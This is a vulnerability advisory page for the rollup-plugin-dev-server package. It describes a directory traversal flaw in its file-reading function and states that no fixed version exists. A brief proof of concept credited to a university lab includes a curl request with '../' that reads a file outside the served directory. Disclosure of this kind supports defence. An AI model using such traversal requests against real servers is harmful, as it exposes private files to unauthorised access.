rollup-plugin-dev-server@0.4.3 vulnerabilities

Serve your rolled up bundle

Direct Vulnerabilities

Known vulnerabilities in the rollup-plugin-dev-server package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • H
Directory Traversal

rollup-plugin-dev-server is a server for serving rolled up bundles like webpack-dev-server.

Affected versions of this package are vulnerable to Directory Traversal. There is no path sanitization in readFile operation inside the readFileFromContentBase function.

PoC by JHU System Security Lab

  1. Create and run a server:
  var server = require("rollup-plugin-dev-server");
     server({
     host: 'localhost',
     port: 10001
     })
  1. Create a file sensitive-file in the server's parent directory
  2. curl -s --path-as-is http://127.0.0.1:10001/../sensitive-file

How to fix Directory Traversal?

There is no fixed version for rollup-plugin-dev-server.

*